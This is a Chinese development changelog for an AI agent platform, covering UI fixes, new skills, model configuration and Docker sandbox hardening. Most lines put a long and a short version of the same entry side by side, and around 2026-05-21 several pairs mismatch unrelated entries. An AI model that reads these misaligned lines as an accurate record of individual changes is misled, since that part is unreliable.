- **web 端 tool_call 标题行改显中文活动描述**:实时流分支读错字段(`arguments` vs 后端 emit 的 `args`)致 `<pre>` 一直空。修字段 + 新增 `toolActivityLabel(name,args)` 按 12 工具套中文动词(读取文件 / 执行命令 / 运行 Python / 联网搜索…)。纯前端,刷新即生效 - **web 端 tool_call 标题行改显中文活动描述**:修读错字段(`arguments` vs `args`)+ `toolActivityLabel` 按 12 工具套中文动词
### 2026-05-28 ### 2026-05-28
- **`skills/review/SKILL.md`"长文档处理"段**:阶段 1 骨架扫描(只出目录 + 全局问题,不出修改稿,停下等用户挑章节)→ 阶段 2 分章深审 + 中间文件落盘。解长稿一轮处理易略读 / 覆盖不全 / 超输出限制。 - **`skills/review/SKILL.md`「长文档处理」段**:阶段 1 骨架扫描(停下等用户挑章节)→ 阶段 2 分章深审 + 中间文件落盘。
- **新增 `config/models/local.yaml`(family=local,variant r1 / qwen3)接内网 OpenAI 兼容推理服务,涉密任务专用**:`model_id` 加 `openai/` 前缀走兼容协议,`api_base` 指内网。关键 **`thinking_mode=false`**(R1 / Qwen3 天生推理,发 `reasoning_effort` 本地 vLLM 多半 400)。不改默认模型,涉密显式选;qwen3 跑通,r1 服务端调试中 500 - **新增 `config/models/local.yaml`(family=local,r1/qwen3)接内网 OpenAI 兼容服务,涉密专用**:关键 `thinking_mode=false`(R1/Qwen3 天生推理,发 reasoning_effort 本地 vLLM 多半 400);不改默认模型。qwen3 跑通,r1 调试中
- **修 `LoadSkillTool` 在 docker backend 返 host 绝对路径致容器内 fs 工具找不到 references**:skills/ bind mount 到容器 `/sandbox/skills`,容器内无 host 路径。加 `container_skills_dir` 参数,docker backend 时返 `/sandbox/skills/<name>`。所有 references-heavy skill 自动 work,不用逐个改 SKILL.md - **修 `LoadSkillTool` 在 docker backend 返 host 绝对路径**:加 `container_skills_dir` 参数,docker 时返 `/sandbox/skills/<name>`,references-heavy skill 自动 work
- **新增 `analyze` skill(科学问题分析 / 拆解 / 引导)**:服务建材院 R&D 早期模糊问题翻译。四段式:PICO 规范化 → Issue Tree 拆解 → 按叶子类型分支(Fishbone / First-principles+TRIZ / DoE)→ 实施路线图。定位协调器不执行任务,接力下游 skill;不硬编"能力 → skill"映射(靠 runtime skill discovery 自匹配) - **新增 `analyze` skill(科学问题分析/拆解/引导)**:四段式 PICO→Issue Tree→分支(Fishbone/First-principles+TRIZ/DoE)→路线图,定位协调器不执行任务,接力下游 skill
- **Python 3.10→3.12 升级(host + Dockerfile)+ DockerExecutor PYTHONPATH 修**:mp-api 依赖链 `from typing import NotRequired`(3.11+)在 3.10 import 不进;选 3.12(ML 生态默认 + wheel 覆盖全)。顺手修 `executor_docker` PYTHONPATH `/workspace`→`/sandbox:/workspace`(docker backend 下 `import skills.xxx` 找不到的历史 bug)。3 科学 skill smoke A/B/C 通过,D 因 MP 封 IP 返 403 - **Python 3.10→3.12 升级(host + Dockerfile)**:mp-api 依赖链 `NotRequired`(3.11+)在 3.10 import 不进;顺手修 `executor_docker` PYTHONPATH `/workspace`→`/sandbox:/workspace`。
- **新增 3 个科学计算 skill(pymatgen / stats_ml / plot_pub)**:服务无机非金属材料 R&D。pymatgen 带 `CEMENT_PHASES` 中英文相名映射 50+;stats_ml 纯指南(sklearn / statsmodels / PyMC 场景导航,无 helper);plot_pub 带 `apply_pub_style()` 出版级中文字体跨平台 fallback。挑 4 个 ★★★ fork 单装,不一键装 138 个 - **新增 3 个科学计算 skill(pymatgen / stats_ml / plot_pub)**:服务无机非金属材料 R&D。pymatgen 带 `CEMENT_PHASES` 中英文相名映射 50+;stats_ml 纯指南;plot_pub 带 `apply_pub_style()` 出版级中文字体 fallback。挑 4 个 ★★★ fork 单装。
- **DESIGN §7.5 增"image 体积 / 多 user 资源 / 后续加包策略"决策段**:① image 大 ≠ 吃更多 RAM(layer 共享);② 多 user 瓶颈在并发 exec 不在 idle 容器数;③ 新增依赖走"base 收敛 + per-user 持久化 venv + 使用频次沉淀" - **DESIGN §7.5 增「image 体积 / 多 user 资源 / 后续加包策略」决策段**:① image 大 ≠ 吃更多 RAM(layer 共享);② 多 user 瓶颈在并发 exec 不在 idle 容器;③ 新增依赖走「base 收敛 + per-user 持久化 venv + 使用频次沉淀」
### 2026-05-27 ### 2026-05-27
- **ppt skill 歧义反问 + general_v1 加"产物形式歧义先问"通用原则**:"汇报方案"仍被路由命中(LLM 把"汇报"联想成 PPT)。把"汇报 / 方案 / 材料"从反例摘出,改成先反问用户"PPT 还是文档",并把原则升格到 system prompt 让新 skill 继承。 - **ppt skill 歧义反问 + general_v1 加「产物形式歧义先问」通用原则**:「汇报方案」被误路由成 PPT,改先反问「PPT 还是文档」并升格到 system prompt 让新 skill 继承。
- **ppt skill description 收紧路由**:原文含"方案 / 生成"被误命中,改显式白名单(PPT / 幻灯片 / .pptx / slide / deck)+ 显式反例(报告 / 文档 / 纪要不触发)。 - **ppt skill description 收紧路由**:改显式白名单(PPT/幻灯片/.pptx/slide/deck)+ 显式反例(报告/文档/纪要不触发)。
- **skill 热更新:`/v1/skills` 每次现扫**:原 lifespan 启动扫一次的静态快照 → 加新 skill 须重启。改每次现扫(构造 ~3ms,非热路径);`build_agent` 早已每次重建 registry,本次仅补前端下拉这一处。 - **skill 热更新:`/v1/skills` 每次现扫**:原启动扫一次须重启;改每次现扫(~3ms)。
- **dev SPA "导出对话记录" / "清空对话"按钮改成只要选中 task 就常亮**:原按 `n_messages===0` 禁用,清空后前端计数不刷致两键一直灰。改导出常亮、清空仅在 run 进行时禁;0 条时点也不会出错。
- **修 dev SPA embed + task_id 模式模型下拉不显示**:embed 带 task_id 时 `selectTask` 早于 `loadModels` resolve,`renderModelDropdown` 空 models 直接返空。`loadModels` 尾部加一行:若已有 task 选中则补一次 chat-meta 重渲。
- **Stage C 收尾包:容器资源 yaml 化 + 应用层磁盘配额 + dogfood 网络放开 + 容器内 pip/npm 源持久化**:① `agent.yaml` sandbox 段(memory/cpus/pids,env>yaml>默);② migration 0008 + `core/storage/disk_quota.py` 周期扫描 + write/upload gate(race-tolerant);③ 去 `--internal`(dogfood 能 pip install)+ `/etc/pip.conf` `/etc/npmrc` 让运行时也走 mirror。iptables 红线不动。Step 4 完整 egress proxy 延后到外部开放前(沉淀为升级触发信号)。
- **Stage C Step 3d:fs 工具(read/write/edit/glob/grep)进容器 + DESIGN §7.5 #6 重写**:dogfood 发现 host 工具 base_dir=`Path.cwd()` 漏底(模型 glob 列出 zcbot 源码),且原 DESIGN 写的 `resolve_user_path` 是假命题根本没那函数。选"物理边界替代代码护栏"走 docker exec,`tool_runner.py` 从 stdin 接 JSON args(CJK 路径透明传)。留 host:load_skill / web_* / seedream / seedance(持 key 或跨 user)。
- **Stage C Step 3 hotfix:exec_user 改 username + Dockerfile 加 Node/Chromium/mermaid-cli**:① 写死 `--user 1000:1000` 与 bind mount owner(host uid 1001)错配致 EACCES,改 username `zcbot` 让 docker 查 passwd;② proposal/patent 渲 mermaid 缺 Node 退公网 API 又被 `--internal` 堵,Dockerfile 加 chromium/nodejs/npm + mermaid-cli + puppeteer `--no-sandbox` config。
- **Stage C Step 5:`main.py sandbox check` 部署前置对账 + lifespan fs quota WARN**:5 项探测(docker daemon / 镜像 / network / 镜像内 uid 与 host 对齐 / workspace fs 可 quota)。err = 启动会 fail-fast 的根因(daemon/镜像/uid,exit 1);warn = 外部开放前要清(network 缺 / fs 不可 quota,exit 0)。`detect_fs_quota` 抽出给 lifespan 复用。
- **Stage C Step 3:DockerExecutor 集成 AgentLoop + web lifespan(`ZCBOT_SANDBOX_BACKEND=host|docker` env 切)**:shell / run_python 走 `docker exec`,其他工具直通 host;run_python tmp .py 落 `<user_root>/.zcbot_tmp/` dotfile(`/v1/files` 天然过滤)。cancel 杀 docker CLI 不杀容器内进程,靠 idle reaper 兜底。pool.py `asyncio.Lock`→`threading.Lock`。Windows dogfood 默 host 零变化。
- **Stage C Step 2:Docker per-user 容器 + iptables blocklist(§7.5 #1 + #3 基底,未接入 AgentLoop)**:`deploy/sandbox/{Dockerfile,init.sh}`(non-root + 任一 iptables 失败 fail-fast + 6 段红线 DROP)+ `core/sandbox/{network,pool}.py`(`--internal` 网络 + per-user 容器 ensure/reap/shutdown + hardening flags `--read-only --cap-drop=ALL --memory=2g` 等)。docker CLI via subprocess 非 SDK;last_active 落内存 dict(Docker 23+ 移除 runtime label 改)。
- **Stage C Step 1:Executor 接口骨架 + HostExecutor in-process backend(§7.5 #5)**:`core/executor.py` `Executor` ABC + `ExecCtx` + `ToolResult`,`AgentLoop` 改接 executor 而非 tools dict。接口刻意 backend 无关(不泄漏 docker 假设),Step 3 切 docker 时 AgentLoop 零改动。
- **REVISIONS.md 修订日志机制(覆盖 proposal/patent/ppt 三个产物型 skill)**:`<task_dir>/REVISIONS.md` 紧凑 changelog —— spec=宪法(定调一次),REVISIONS=实施日志(每次卡点累加)。三 skill 各加"用户确认实质改动后追加一行" + 独立小节;单行 bullet 倒序追加,首次起草 / 错别字微调 / 模型自撤不记。
- **新增 patent skill(中国发明专利技术交底书)**:`skills/patent/` 6 文件,五阶段 workflow(摄取 → 挖点 → 检索 → spec → 逐章起草 → 自查渲染,同 proposal BLOCKING 节奏)。复用 markitdown / proposal 的 render_diagrams+render_docx / web_search+documents+research,不造 CNIPA 爬虫,源 repo 8 Python tools 减到 0。
- **§7.5 沙盒落地清单 6 条写入 DESIGN(Stage C 实施硬协议)**:网络 blocklist 硬编码(含 PG IP 单独再 block)/ egress proxy 模型 / 进程组清理(setsid + PGID kill)/ 磁盘配额硬化时点 / Executor backend driver / 工具按信任域二分 dispatch;并写死 gVisor / Firecracker / 容器内 tool-runner 三档升级触发信号,反向兜底"无信号不升级"。
### 2026-05-25 ### 2026-05-25
- **dev SPA 前端依赖 CDN 本地化 + 升级稳定版**:markdown 渲染(`marked@16.2.1` / `dompurify@3.2.6` / `highlight.js@11.11.1`)从 jsDelivr 改本地 `vendor/`,避免内网 / 跨境 CDN 抖动致渲染 / sanitizer 不可用;`tests/test_static_vendor.py` 回归检查 HTML 无 `cdn.jsdelivr.net` + vendor 文件存在 - **dev SPA 前端依赖 CDN 本地化 + 升级稳定版**:markdown 渲染(marked/dompurify/highlight.js)从 jsDelivr 改本地 `vendor/`,避免内网/跨境 CDN 抖动;`test_static_vendor.py` 回归。
- **dev SPA 一批上传 / 布局交互打磨(同质合并)**:三类上传入口(粘贴 / 按钮 / 拖拽)改 `XMLHttpRequest` 显进度 + 粘贴上传 chip 可预览(`#mini-preview-modal` 不覆盖主预览)可删除;三栏支持右栏折叠 + 左右分隔线拖拽调宽(localStorage 持久化);右侧文件长名 hover 显全路径;左栏滚动条只覆盖 task 列表(IntersectionObserver root 移到 `#task-scroll`)。 - **dev SPA 一批上传/布局交互打磨**:三类上传入口改 XHR 显进度 + 粘贴 chip 可预览可删;三栏右栏折叠 + 分隔线拖拽调宽(LS 持久化)。
- **接入博查 Web Search + Web Fetch 两个 tool**:`tools/web_search.py`(Bocha POST `/v1/web-search`,Bearer)+ `tools/web_fetch.py`(httpx + html2text,SSRF 内网屏蔽,截断 8000);web_fetch 无条件挂,web_search 仅 env 有 `BOCHA_API_KEY` 时挂 - **接入博查 Web Search + Web Fetch**:`web_search.py`(Bocha,仅 env 有 key 挂)+ `web_fetch.py`(httpx + html2text,SSRF 内网屏蔽)。
### 2026-05-22 ### 2026-05-22
- **dev SPA 加 iframe embed 模式(`?embed=1&parent_origin=...`)**:父页 postMessage 握手拿 JWT(`zcbot-ready` → 父端用 `PLATFORM_KEY` 换 token → `zcbot-token` 推回),`event.origin` 白名单双向校验,`PLATFORM_KEY` 不下发浏览器;藏 brand / 顶栏 / 退出。401 发 `zcbot-401` 等父端重换 token。`web/EMBED.md` 对接手册。 - **dev SPA 加 iframe embed 模式(`?embed=1&parent_origin=`)**:父页 postMessage 握手拿 JWT,`event.origin` 双向白名单,`PLATFORM_KEY` 不下发浏览器;`web/EMBED.md` 对接手册。
- **embed 模式接受 `task_id` URL 参数定位 task**:首次签发 token `selectTask`,`once` 标记只生效一次(401 重签不重置用户中途切的 task);task_id 错或不属于当前 user 走原 401/404 分支 - **embed 模式接受 `task_id` URL 参数定位 task**:首次签发后 `selectTask`,`once` 标记只生效一次(401 重签不重置用户中途切的 task)。
- **媒体生成每账号每日配额(yaml 可配,默 20 图 / 5 视频)**:`quotas` 段 + `check_daily_quota` 按服务器本地今日 00:00 计;tool 超额返中文提示不调远端不烧钱。跨 task 跨 variant 账号级合计,失败不计,软上限不加事务锁。tool 返串只暴露已用 / 上限 + 重置时间,不贴 yaml 路径(防 LLM 复述泄漏内部 schema) - **媒体生成每账号每日配额(yaml 可配,默 20 图/5 视频)**:`check_daily_quota` 按服务器本地今日计,超额返中文提示不烧钱;tool 返串不贴 yaml 路径防泄漏 schema。
- **对外路径协议刚性化(system 强约束 + SKILL 简化 + UI 一次性兼容)**:`general_v1.md` 规定助手 echo 产物路径用 user_root 相对全形式 `<wd_name>/<rel>`(简写致 Web UI chip 失效),跨所有产物 skill 统一;imagegen/videogen SKILL 改"照抄 saved 行";`dev.html::extractArtifactRels` 一次性兼容历史简写。术语用 `<wd_name>`(working_dir 末段)而非 `<task_name>`(允许两者不等) - **对外路径协议刚性化**:`general_v1.md` 规定助手 echo 产物路径用 user_root 相对全形式 `<wd_name>/<rel>`(简写致 chip 失效),跨产物 skill 统一;UI 一次性兼容历史简写
- **豆包 Seedance 2.0 Fast 视频生成接入(文生视频)+ videogen skill**:`config/media/doubao.yaml` video 段 + `tools/seedance.py`(ark 建任务 5s 轮询 download mp4,失败 / cancel 不计费);`build_agent``video_variant` + `cancel_check`(build 阶段传,轮询期响应停止);`web/app.py` + `dev.html` 第三下拉。skill 六维诊断把"光线"换成"运动 + 镜头",BLOCKING 门槛更严(¥4 vs ¥0.22)。phase 1 仅 t2v,fast 上限 720p。 - **豆包 Seedance 2.0 Fast 视频生成接入(文生视频)+ videogen skill**:`tools/seedance.py`(ark 建任务→轮询→download mp4,失败/cancel 不计费);build_agent 加 `video_variant` + cancel_check;skill BLOCKING 门槛更严(¥4 vs ¥0.22)。phase 1 仅 t2v,fast 上限 720p。
- **dev SPA 移动端自适应 + 交互打磨(同质合并)**:手机两档断点(平板 rail / 手机单列 + `.mobile-tabs` 切 pane,`100vh→100dvh` 解 iOS、输入 ≥16px 防 focus 缩放)+ 顶栏 / chat-meta 紧凑化;"+ 新建任务"按钮从 header 挪到任务面板通栏;chat-input 支持 Ctrl+V 粘贴文件上传;文件预览弹框让出 chat-form 高度(打开期输入区仍可点可打字) - **dev SPA 移动端自适应 + 交互打磨**:手机两档断点(平板 rail / 手机单列 `.mobile-tabs`,`100dvh` 解 iOS、输入 ≥16px 防缩放);chat-input 支持 Ctrl+V 粘贴上传。
### 2026-05-21 ### 2026-05-21
- **dev SPA UI 打磨(同质合并)**:修 primary 按钮 hover 文字消失(`.primary:hover` 补 `background:var(--accent)`,原 fallback 到浅灰 + 白字消失);CSS 精简 + 圆角降档 + 4 个 modal 抽 `.modal` 基类(style 块 589→522 行,功能 0 改);新建任务弹窗 / 顶部 filter 工作目录回原生 `<select>` + sentinel `+ 新建「<name>」` + 二级 input(combobox 方案试过又推翻 —— 原生 select 更稳)。 - **dev SPA UI 打磨**:修 primary 按钮 hover 文字消失;4 个 modal 抽 `.modal` 基类(style 589→522 行);新建任务/filter 工作目录回原生 `<select>` + sentinel + 二级 input(combobox 试过推翻)。
- **sandbox 阻塞地位写进 DESIGN(§7.7 hard prereq / §7.8 风险行 / §7.9 取舍)**:`tools/shell.py::BLOCKED_PATTERNS` 是 trivial-bypass 装饰品(命令注入图灵完备,黑名单 fundamentally broken),不继续加规则。正确防线在 OS 层 §7.5(docker exec + drop ALL caps + read-only + egress allowlist)。本地 dogfood blast radius 限自身;SaaS 外部开放才是 hard prereq。 - **sandbox 阻塞地位写进 DESIGN(§7.7/§7.8/§7.9)**:`shell.py::BLOCKED_PATTERNS` 是 trivial-bypass 装饰品(命令注入图灵完备),不继续加规则;正确防线在 OS 层 §7.5。本地 dogfood blast radius 限自身;SaaS 外部开放才 hard prereq。
- **system prompt 注入 task 预选 skill 提示**:`_build_system_prompt` 加 `task_skill` 参数,非空时加一行事实,与 general_v1 已有"对应 skill 先 load"规则组合 → 主动 load。否决"完整 SKILL.md 预注入"(把 skill 从 metadata 升格成 binding,投产比不划算)。 - **system prompt 注入 task 预选 skill 提示**:`_build_system_prompt` 加 `task_skill` 参数,与 general_v1「对应 skill 先 load」组合 → 主动 load。否决完整 SKILL.md 预注入。
- **imagegen skill 加 ⛔ 调 tool 前必须贴 prompt + BLOCKING 等确认硬约束**:清楚的描述也可能模型与用户脑里对不上,事后看图才发现白烧 ¥0.22 —— 把"模型脑内装配"摊到对话层让用户最后过一眼(装配 ≠ 授权调用)。诊断五维 → 六维加"比例 / 尺寸";`general_v1` 改"调 seedream 前必须先 `load_skill('imagegen')`",description 扩 17 触发词。 - **imagegen skill 加 ⛔ 调 tool 前必须贴 prompt + BLOCKING 等确认**:把模型脑内装配摊到对话层让用户最后过一眼防白烧 ¥0.22;诊断五维→六维加比例/尺寸。
- **新增 imagegen skill(引导用户说清楚生图需求)**:单文件五步法(诊断模糊度 → 给推断 + 待确认 → 用户拍板 → 装配 prompt → 调 seedream),防一句"画个 XX"直接烧 ¥0.22;mermaid vs seedream 选型三段式。 - **新增 imagegen skill**:单文件五步法(诊断模糊度→给推断+待确认→拍板→装配 prompt→调 seedream);mermaid vs seedream 选型三段式。
- **登录页加"+ 管理员添加用户"入口 + 删 chat meta 条/tok 显示**:`web/auth.py::create_user`(CLI / web 共用)+ `POST /v1/auth/admin/create_user` 校验 `ZCBOT_ADMIN_TOKEN` 共享口令。否决 User 表加 `is_admin` 列 + 管理员 JWT(开发期成本不划算)。 - **登录页加「管理员添加用户」入口 + 删 chat meta 条/tok 显示**:`create_user`(CLI/web 共用)+ `POST /v1/auth/admin/create_user` 校验 `ZCBOT_ADMIN_TOKEN`。否决 User 表加 is_admin 列。
- **新增 documents skill(内部材料学科知识库 document_search API)**:`skills/documents/{SKILL.md, client.py}` 四函数,Bearer 认证;search 返整篇 Markdown(50K-200K 字符),反模式约束只 print 前 300 字防爆上下文。库实为 7 材料学科英文学术论文 21W+ 文件 + 跨语言语义检索(原写"主语料中文"是错的);与 research(OpenAlex)互补。 - **新增 documents skill(内部材料学科知识库 document_search API)**:四函数 Bearer 认证,search 返整篇 Markdown,反模式约束只 print 前 300 字防爆上下文;库=7 材料学科英文论文 21W+ 文件 + 跨语言语义检索;与 research(OpenAlex)互补。
- **dev SPA SSE 客户端重连(覆盖 --reload 抖动)**:`fetchSse` 拆 consume + 重连壳(1/2/4s 退避 ×3);后端 `stream_events` 入口检 run_status,非 running 立即吐 done 关流(防进程重启后无限挂 ping)。断开期 LLM delta 丢失,接受。 - **dev SPA SSE 客户端重连**:`fetchSse` 拆 consume + 重连壳(1/2/4s 退避 ×3);后端 `stream_events` 入口检 run_status 非 running 立即吐 done 关流。
- **research skill fetch_pdf 改走静态直链**:从 `paper["pdf_url"]` 流式下载,绕开 paper_pdf_view 路径 bug(disk 路径计算错);smoke 5/5。 - **research skill fetch_pdf 改走静态直链 + list 端点加直链 + pg_trgm GIN 索引**:绕开 paper_pdf_view 路径 bug;`?search` 30s→几十 ms;SKILL 加「XML 优先 PDF」。
- **research skill list 端点加 pdf_url / xml_url 直链 + 新增 fetch_xml + pg_trgm GIN 索引**:后端拼直链(避免 stale URL),GIN 把 `?search` 从 30s timeout 降到几十 ms;SKILL.md 加"XML 优先 PDF"(已结构化免 OCR)。 - **顶栏 token 累计修(`sync_task_tokens` 改走 messages SUM)**:切 streaming 后内存计数器永不更新,改现算 + backfill。
- **顶栏 token 累计修(`sync_task_tokens` 改走 messages SUM)**:切 streaming 后内存计数器永不更新,删 TokenCounter 类改 `SELECT SUM(...) FROM messages` 现算,backfill 4 task。 - **同 wd 并发软警告 banner + `/v1/tasks` 加 `run_status` 筛选**:Claude Code 同款「信任 + 软警告」;否决硬挡/short_id 全产物隔离/clone task(DESIGN §7.9)。
- **同 wd 并发软警告 banner + `/v1/tasks` 加 `run_status` 筛选**:Claude Code 同款"信任 + 软警告",`selectTask` + SSE 收尾拉同 wd running task 黄底提示。否决硬挡 / short_id 全产物隔离 / clone task 三方案(DESIGN §7.9)。 - **paper_server → research skill**:范式判断走 skill(非 tool/MCP/裸 httpx),`skills/research/{SKILL.md,paper.py}` 三函数。
- **paper_server → research skill**:范式判断走 skill(非 tool / MCP / 裸 httpx),`skills/research/{SKILL.md, paper.py}` 三函数;`run_python` 注入 `PYTHONPATH=base_dir`;paper_server 补 retrieve 端点 + serializer 加 abstract。
### 2026-05-20 ### 2026-05-20
- **dev SPA artifact chip 演进(同质合并)**:对话内 tool_call/result 挂产物 chip,`extractArtifactRels` 正则锚 `<wd>/...` + 末段需含 `.`;门控多次校准后落到产物工具白名单 `ARTIFACT_PRODUCING_TOOLS={seedream,seedance}`(通用工具 echo 路径不误挂),assistant 正文不门控`seenRels` 去重 + `allowInlineMedia`同图二次 inline;`.art-chip` 点击委托 `openFilePreview` - **dev SPA artifact chip 演进**:对话内 tool_call/result 挂产物 chip,门控落到产物工具白名单 `ARTIFACT_PRODUCING_TOOLS={seedream,seedance}`,assistant 正文走 seenRels 去重 + allowInlineMedia 防二次 inline。
- **CLAUDE.md 加"实施前先对方案"段**:非平凡改动动手前先口头对方案 - **CLAUDE.md 加「实施前先对方案」段**
- **loop.py tool message 补 `name` 字段 + backfill 历史**:OpenAI tool spec 本有 `name`,缺它致历史回放无 banner / chip,一行 fix + 幂等回填 17 条 - **loop.py tool message 补 `name` 字段 + backfill 历史**:OpenAI tool spec 本有 name,缺它致历史回放无 banner/chip。
- **dev SPA 输入区删上传按钮 + 加"✨ 润色"按钮**:`POST /v1/tasks/{id}/optimize_prompt` 走 task model_profile 装配 LLM(meta-prompt 含当前模型 + image variant),计费 `kind=prompt_optimize`,**不**调 `sync_task_tokens` 不污染顶栏。 - **dev SPA 输入区删上传按钮 + 加「✨ 润色」按钮**:`POST /v1/tasks/{id}/optimize_prompt` 走 task model 装配 LLM,计费 `kind=prompt_optimize` 不污染顶栏。
- **顶栏加生图模型下拉 + 中间产物图片/视频内联展示**:`GET /v1/image_models` 扫 yaml image 段,`build_agent(image_variant=...)` 装 SeedreamTool;`renderArtifactBarHtml``_categorize` image/video 走 blob URL inline,切 task 回收 blob。 - **顶栏加生图模型下拉 + 中间产物图片/视频内联展示**:`GET /v1/image_models` 扫 yaml,`build_agent(image_variant=)`;`renderArtifactBarHtml` 走 blob URL inline,切 task 回收 blob。
- **LLM 调用切 streaming(cancel 秒退)+ 发送/停止合并单按钮**:`chat_stream(stream=True, include_usage=True)` + `litellm.stream_chunk_builder` 拼回,chunk 间 poll cancel;前端打字机靠 `_emit("text", delta=...)`;`#chat-action` 按 `state.streaming` 切三态 - **LLM 调用切 streaming(cancel 秒退)+ 发送/停止合并单按钮**:`chat_stream(stream=True, include_usage=True)` + `stream_chunk_builder` 拼回,chunk 间 poll cancel;前端打字机靠 emit text delta
- **dev SPA seedream tool 透明性 banner**:tool 返串首行 `[seedream] model=... · size=... · cost=¥... · elapsed=...s`,前端正则 parse 挂折叠徽章。 - **dev SPA seedream tool 透明性 banner**:tool 返串首行 `[seedream] model=...· cost=¥...`,前端正则 parse 挂折叠徽章。
- **豆包 Seedream 5.0 接入 + 0007 cost_usd → cost_cny 全表统一币种**:`config/media/doubao.yaml` 独立命名空间(`ARK_API_KEY`),`tools/seedream.py` 走 `ark_client` 调 `/images/generations`,产物落 `<wd>/figures/`;`record_image_usage` snapshot 单价进 units(调价防漂移);0007 全表 ×7.2 折 CNY;仅 ARK_API_KEY 设了才挂。 - **豆包 Seedream 5.0 接入 + 0007 cost_usd → cost_cny 全表统一币种**:`tools/seedream.py` 走 ark_client,产物落 `<wd>/figures/`;0007 全表 ×7.2 折 CNY;仅 ARK_API_KEY 设了才挂。
- **`POST /v1/files/delete``recursive` + 顶层目录 task 引用闸**:`recursive=True``shutil.rmtree`;顶层目录被 task 引用 → 409"先 DELETE task 再清" - **`POST /v1/files/delete``recursive` + 顶层目录 task 引用闸**:recursive 走 rmtree;顶层目录被 task 引用 → 409。
- **fs tool 输出渲染 user_root-relative 路径**:`tools/base.py::Tool` 加 `user_root` + `_display(p)` helper,fs 五 tool 走 helper;chip 锚点取末段。消 chip 404 + 防 uuid / 部署根泄漏。 - **fs tool 输出渲染 user_root-relative 路径**:`Tool` 加 `user_root` + `_display(p)`,消 chip 404 + 防 uuid/部署根泄漏。
- **`POST /v1/tasks/{id}/clear` 清空对话**:同事务 lock + 检 running 状态 + DELETE messages + reset task 三列累计 + run_status='idle';**usage_events 全不动**(账单 source of truth)。 - **`POST /v1/tasks/{id}/clear` 清空对话**:同事务 lock + 检 running + DELETE messages + reset 三列累计;usage_events 全不动(账单 source of truth)。
### 2026-05-19 ### 2026-05-19
- **0006 模型切换(c 模式 task 级 A 粒度)+ usage_events v2 表**:`tasks.model_profile` 变 source-of-truth,顶栏下拉 PATCH 即换(下条 send 生效);`GET /v1/models` 扫 yaml;message 历史按 `messages.model_profile` 切换点`── DeepSeek V4 Pro ──`;usage_events 重建多态形态(units jsonb,chat 已接入,媒体扩展位预留)。 - **0006 模型切换(c 模式 task 级 A 粒度)+ usage_events v2 表**:`tasks.model_profile` 变 source-of-truth,顶栏下拉 PATCH 下条 send 生效;message 历史按 `messages.model_profile` 切换点;usage_events 重建多态形态(units jsonb,chat 已接入)。
- **dev SPA 登录撤回 邮箱+密码,删 invites 表**:前两条"邀请码 env → invites 表"一日游撤回;复用 users.email + bcrypt;`/v1/auth/login_password` + `user add` CLI;dev SPA 双 tab 登录(last-used LS 持久化) - **dev SPA 登录撤回邮箱+密码,删 invites 表**:「邀请码 env→invites 表」一日游撤回;复用 users.email + bcrypt;dev SPA 双 tab 登录
- **SENTINEL user 彻底撤(数据 + 代码)**:web 必走 JWT 后 sentinel 无角色;DB CASCADE 删 + 10 处代码删;`build_agent` 加 `*` 让 user_id 必填(typechecker 拦多 user 函数) - **SENTINEL user 彻底撤(数据 + 代码)**:web 必走 JWT 后 sentinel 无角色;CASCADE 删 + 10 处代码删;`build_agent` 加 `*` 让 user_id 必填。
- **任务/文件行 `⋯` 下拉菜单 + tool_result debounce 刷新右侧**:单例浮层菜单(`#floating-menu` position:fixed)避 pane overflow 裁剪;`tool_result` 事件 debounce 500ms 刷新文件 panel。 - **任务/文件行 `⋯` 下拉菜单 + tool_result debounce 刷新右侧**:单例浮层菜单(position:fixed)避 pane overflow 裁剪;tool_result debounce 500ms 刷新文件 panel。
- **proposal skill mermaid 强制 + quality_check 加图相关 4 拦截 + `/v1/files/download` 加 `Cache-Control: no-cache`**:模型曾写满 ASCII 字符画从未用 mermaid;render_diagrams caption 强制必填 + 同 task 唯一;quality_check 加四条(figures 有 png 但 sections 0 引用 / 围栏含 box-drawing / mermaid 缺首行 caption / caption 撞名) - **proposal skill mermaid 强制 + quality_check 加图相关 4 拦截**:模型曾写满 ASCII 字符画;render_diagrams caption 强制必填+唯一,quality_check 加四条;`/v1/files/download` 加 `Cache-Control: no-cache`
- **dev SPA 文件预览弹框**:点击不再直接下载,90vw 模态按扩展名分派(image/pdf/text/md 已有 / docx 用 docx-preview / xlsx 用 SheetJS);vendor 入 git(~1MB)。 - **dev SPA 文件预览弹框**:点击不再直接下载,90vw 模态按扩展名分派(image/pdf/text/md + docx-preview + SheetJS);vendor 入 git(~1MB)。
### 2026-05-18 ### 2026-05-18
- **入口归位:`cli.py`→`main.py`,原 `main.py`→`core/agent_builder.py`,删 CLI REPL,§7 E 撤**:`main.py` 原混三角色按 SoC 拆;`git mv` + 5 处 import 修;CLI 只剩 `db / probe / web / user`。dev SPA 已是 dogfood 主路径,REPL 无 `--remote` 双 transport 维护税。 - **入口归位:`cli.py`→`main.py`,原 `main.py`→`core/agent_builder.py`,删 CLI REPL,§7 E 撤**:`main.py` 原混三角色按 SoC 拆,CLI 只剩 `db/probe/web/user`;dev SPA 已是 dogfood 主路径,REPL 无双 transport 维护税。
- **0004 schema 大瘦身:删 runs / usage_events 旧版,合 run_status / run_error 入 tasks;路由 run_id → task_id**:单活 run 形态下客户端只需 task_id;broker 全 task_id 索引 + 加 `start(task_id)` 清上轮 done 标记。 - **0004 schema 大瘦身:删 runs / usage_events 旧版,合 run_status/run_error 入 tasks;路由 run_id→task_id**:单活 run 形态客户端只需 task_id。
- **`POST /v1/files/rename` + 顶层目录 delete 加 task 引用闸**:`/v1/files/*` 升格为唯一目录树 mutation 入口,DB-FS 一致性服务端内化;顶层目录走 DB-aware 分支(SELECT FOR UPDATE + running/cancelling 409 + check_no_subtask + UPDATE 先于 FS rename)。 - **`POST /v1/files/rename` + 顶层目录 delete 加 task 引用闸**:`/v1/files/*` 升格唯一目录树 mutation 入口,DB-FS 一致性服务端内化;顶层目录走 DB-aware 分支(SELECT FOR UPDATE + 409 + check_no_subtask + UPDATE 先于 FS)。
- **task-level cancel + AgentLoop 协作式 cancel + dev SPA stop 按钮**:Broker 加 `request_cancel / is_cancelled / clear_cancel`(per-task `threading.Event` + setdefault);Loop 加 `cancel_check` callable + `_fill_cancelled_tool_results` 补 cancelled tool message;LLM 同步 call 本身不可中断(后接 streaming 修)。 - **task 级 cancel + AgentLoop 协作式 cancel + dev SPA stop 按钮**:Broker 加 per-task `threading.Event`;Loop 加 cancel_check + `_fill_cancelled_tool_results`;同步 call 本身不可中断(后接 streaming 修)。
